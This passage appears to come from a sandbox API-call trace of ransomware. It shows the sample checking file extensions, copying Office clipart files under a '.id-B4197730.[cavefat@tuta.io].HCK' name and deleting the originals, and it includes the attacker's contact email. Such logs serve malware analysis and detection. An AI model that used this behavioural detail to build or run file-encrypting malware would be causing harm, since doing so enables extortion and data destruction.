(lpString1=".ppt", lpString2=".WMF") returned -1 [0242.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187825.WMF") returned 68 [0242.953] lstrlenW (lpString=".zip") returned 4 [0242.953] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0242.953] lstrlenW (lpString=".rar") returned 4 [0242.953] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0242.953] lstrlenW (lpString=".bz2") returned 4 [0242.954] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0242.954] lstrlenW (lpString=".7z") returned 3 [0242.954] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0242.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187825.WMF") returned 68 [0242.954] lstrlenW (lpString=".dbf") returned 4 [0242.954] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0242.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187825.WMF") returned 68 [0242.954] lstrlenW (lpString=".1cd") returned 4 [0242.954] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0242.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187825.WMF") returned 68 [0242.954] lstrlenW (lpString=".jpg") returned 4 [0242.954] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0242.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187825.WMF") returned 68 [0242.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187825.WMF") returned 68 [0242.954] lstrlenW (lpString=".doc") returned 4 [0242.954] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0242.954] lstrlenW (lpString=".docx") returned 5 [0242.954] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0242.954] lstrlenW (lpString=".pdf") returned 4 [0242.954] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0242.954] lstrlenW (lpString=".xls") returned 4 [0242.954] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0242.954] lstrlenW (lpString=".xlsx") returned 5 [0242.954] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0242.954] lstrlenW (lpString=".ppt") returned 4 [0242.954] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0242.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187825.WMF") returned 68 [0242.954] lstrlenW (lpString=".zip") returned 4 [0242.954] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0242.954] lstrlenW (lpString=".rar") returned 4 [0242.954] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0242.954] lstrlenW (lpString=".bz2") returned 4 [0242.954] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0242.954] lstrlenW (lpString=".7z") returned 3 [0242.954] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0242.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187825.WMF") returned 68 [0242.954] lstrlenW (lpString=".dbf") returned 4 [0242.954] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0242.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187825.WMF") returned 68 [0242.954] lstrlenW (lpString=".1cd") returned 4 [0242.954] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0242.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187825.WMF") returned 68 [0242.954] lstrlenW (lpString=".jpg") returned 4 [0242.954] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0242.954] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0242.954] lstrlenW (lpString="J0187829.WMF") returned 12 [0242.955] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187829.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187829.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0242.955] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=12352) returned 1 [0242.955] CloseHandle (hObject=0x564) returned 1 [0242.955] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187829.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187829.wmf")) returned 0x220 [0242.955] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187829.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187829.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0242.955] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187829.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187829.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0242.956] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0242.956] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0242.956] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187829.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187829.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4 [0242.957] GetLastError () returned 0x0 [0242.957] ReadFile (in: hFile=0x564, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0x3040, lpOverlapped=0x0) returned 1 [0242.958] WriteFile (in: hFile=0x4a4, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0x3050, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0x3050, lpOverlapped=0x0) returned 1 [0242.959] ReadFile (in: hFile=0x564, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0x0, lpOverlapped=0x0) returned 1 [0242.959] WriteFile (in: hFile=0x4a4, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0xec, lpOverlapped=0x0) returned 1 [0242.959] SetEndOfFile (hFile=0x4a4) returned 1 [0242.960] CloseHandle (hObject=0x4a4) returned 1 [0242.960] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0242.960] SetEndOfFile (hFile=0x564) returned 1 [0242.962] CloseHandle (hObject=0x564) returned 1 [0242.962] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187829.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0242.962] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187829.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187829.wmf")) returned 1 [0242.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187829.WMF") returned 68 [0242.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187829.WMF") returned 68 [0242.963] lstrlenW (lpString=".doc") returned 4 [0242.963] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0242.963] lstrlenW (lpString=".docx") returned 5 [0242.963] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0242.963] lstrlenW (lpString=".pdf") returned 4 [0242.963] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0242.963] lstrlenW (lpString=".xls") returned 4 [0242.963] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0242.963] lstrlenW (lpString=".xlsx") returned 5 [0242.963] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0242.963] lstrlenW (lpString=".ppt") returned 4 [0242.963] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0242.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187829.WMF") returned 68 [0242.963] lstrlenW (lpString=".zip") returned 4 [0242.963] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0242.963] lstrlenW (lpString=".rar") returned 4 [0242.963] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0242.963] lstrlenW (lpString=".bz2") returned 4 [0242.963] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0242.963] lstrlenW (lpString=".7z") returned 3 [0242.963] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0242.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187829.WMF") returned 68 [0242.963] lstrlenW (lpString=".dbf") returned 4 [0242.963] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0242.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187829.WMF") returned 68 [0242.963] lstrlenW (lpString=".1cd") returned 4 [0242.963] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0242.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187829.WMF") returned 68 [0242.963] lstrlenW (lpString=".jpg") returned 4 [0242.963] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0242.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187829.WMF") returned 68 [0242.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187829.WMF") returned 68 [0242.963] lstrlenW (lpString=".doc") returned 4 [0242.963] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0242.963] lstrlenW (lpString=".docx") returned 5 [0242.963] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0242.964] lstrlenW (lpString=".pdf") returned 4 [0242.964] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0242.964] lstrlenW (lpString=".xls") returned 4 [0242.964] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0242.964] lstrlenW (lpString=".xlsx") returned 5 [0242.964] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0242.964] lstrlenW (lpString=".ppt") returned 4 [0242.964] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0242.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187829.WMF") returned 68 [0242.964] lstrlenW (lpString=".zip") returned 4 [0242.964] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0242.964] lstrlenW (lpString=".rar") returned 4 [0242.964] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0242.964] lstrlenW (lpString=".bz2") returned 4 [0242.964] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0242.964] lstrlenW (lpString=".7z") returned 3 [0242.964] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0242.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187829.WMF") returned 68 [0242.964] lstrlenW (lpString=".dbf") returned 4 [0242.964] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0242.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187829.WMF") returned 68 [0242.964] lstrlenW (lpString=".1cd") returned 4 [0242.964] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0242.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187829.WMF") returned 68 [0242.964] lstrlenW (lpString=".jpg") returned 4 [0242.964] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0242.964] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0242.964] lstrlenW (lpString="J0187835.WMF") returned 12 [0242.964] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187835.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187835.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0242.965] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=9344) returned 1 [0242.965] CloseHandle (hObject=0x564) returned 1 [0242.965] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187835.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187835.wmf")) returned 0x220 [0242.965] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187835.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187835.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0242.965] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187835.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187835.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0242.965] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0242.966] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0242.966] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187835.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187835.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0243.072] GetLastError () returned 0x0 [0243.072] ReadFile (in: hFile=0x564, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0x2480, lpOverlapped=0x0) returned 1 [0243.073] WriteFile (in: hFile=0x560, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0x2490, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0x2490, lpOverlapped=0x0) returned 1 [0243.074] ReadFile (in: hFile=0x564, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0x0, lpOverlapped=0x0) returned 1 [0243.074] WriteFile (in: hFile=0x560, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0xec, lpOverlapped=0x0) returned 1 [0243.074] SetEndOfFile (hFile=0x560) returned 1 [0243.074] CloseHandle (hObject=0x560) returned 1 [0243.074] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0243.074] SetEndOfFile (hFile=0x564) returned 1 [0243.077] CloseHandle (hObject=0x564) returned 1 [0243.077] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187835.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0243.077] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187835.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187835.wmf")) returned 1 [0243.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187835.WMF") returned 68 [0243.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187835.WMF") returned 68 [0243.078] lstrlenW (lpString=".doc") returned 4 [0243.078] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0243.078] lstrlenW (lpString=".docx") returned 5 [0243.078] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0243.078] lstrlenW (lpString=".pdf") returned 4 [0243.078] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0243.078] lstrlenW (lpString=".xls") returned 4 [0243.078] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0243.078] lstrlenW (lpString=".xlsx") returned 5 [0243.078] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0243.078] lstrlenW (lpString=".ppt") returned 4 [0243.078] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0243.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187835.WMF") returned 68 [0243.078] lstrlenW (lpString=".zip") returned 4 [0243.078] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0243.078] lstrlenW (lpString=".rar") returned 4 [0243.079] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0243.079] lstrlenW (lpString=".bz2") returned 4 [0243.079] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0243.079] lstrlenW (lpString=".7z") returned 3 [0243.079] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0243.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187835.WMF") returned 68 [0243.079] lstrlenW (lpString=".dbf") returned 4 [0243.079] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0243.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187835.WMF") returned 68 [0243.079] lstrlenW (lpString=".1cd") returned 4 [0243.079] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0243.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187835.WMF") returned 68 [0243.079] lstrlenW (lpString=".jpg") returned 4 [0243.079] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0243.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187835.WMF") returned 68 [0243.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187835.WMF") returned 68 [0243.079] lstrlenW (lpString=".doc") returned 4 [0243.079] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0243.079] lstrlenW (lpString=".docx") returned 5 [0243.079] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0243.079] lstrlenW (lpString=".pdf") returned 4 [0243.079] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0243.079] lstrlenW (lpString=".xls") returned 4 [0243.079] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0243.079] lstrlenW (lpString=".xlsx") returned 5 [0243.079] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0243.079] lstrlenW (lpString=".ppt") returned 4 [0243.079] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0243.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187835.WMF") returned 68 [0243.079] lstrlenW (lpString=".zip") returned 4 [0243.079] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0243.079] lstrlenW (lpString=".rar") returned 4 [0243.079] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0243.079] lstrlenW (lpString=".bz2") returned 4 [0243.079] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0243.079] lstrlenW (lpString=".7z") returned 3 [0243.079] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0243.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187835.WMF") returned 68 [0243.079] lstrlenW (lpString=".dbf") returned 4 [0243.079] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0243.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187835.WMF") returned 68 [0243.079] lstrlenW (lpString=".1cd") returned 4 [0243.079] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0243.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187835.WMF") returned 68 [0243.079] lstrlenW (lpString=".jpg") returned 4 [0243.079] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0243.079] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0243.080] lstrlenW (lpString="J0187851.WMF") returned 12 [0243.080] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187851.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187851.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0243.080] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=8732) returned 1 [0243.080] CloseHandle (hObject=0x564) returned 1 [0243.080] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187851.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187851.wmf")) returned 0x220 [0243.080] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187851.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187851.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0243.081] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187851.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187851.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0243.081] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0243.081] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0243.081] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187851.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187851.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0243.082] GetLastError () returned 0x0 [0243.082] ReadFile (in: hFile=0x564, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0x221c, lpOverlapped=0x0) returned 1 [0243.083] WriteFile (in: hFile=0x560, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0x2220, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0x2220, lpOverlapped=0x0) returned 1 [0243.084] ReadFile (in: hFile=0x564, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0x0, lpOverlapped=0x0) returned 1 [0243.084] WriteFile (in: hFile=0x560, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0xec, lpOverlapped=0x0) returned 1 [0243.084] SetEndOfFile (hFile=0x560) returned 1 [0243.084] CloseHandle (hObject=0x560) returned 1 [0243.084] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0243.084] SetEndOfFile (hFile=0x564) returned 1 [0243.086] CloseHandle (hObject=0x564) returned 1 [0243.086] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187851.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0243.086] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187851.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187851.wmf")) returned 1 [0243.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187851.WMF") returned 68 [0243.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187851.WMF") returned 68 [0243.087] lstrlenW (lpString=".doc") returned 4 [0243.087] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0243.087] lstrlenW (lpString=".docx") returned 5 [0243.087] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0243.087] lstrlenW (lpString=".pdf") returned 4 [0243.087] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0243.087] lstrlenW (lpString=".xls") returned 4 [0243.087] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0243.087] lstrlenW (lpString=".xlsx") returned 5 [0243.088] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0243.088] lstrlenW (lpString=".ppt") returned 4 [0243.088] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0243.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187851.WMF") returned 68 [0243.088] lstrlenW (lpString=".zip") returned 4 [0243.088] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0243.088] lstrlenW (lpString=".rar") returned 4 [0243.088] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0243.088] lstrlenW (lpString=".bz2") returned 4 [0243.088] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0243.088] lstrlenW (lpString=".7z") returned 3 [0243.088] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0243.088] lstrlenW 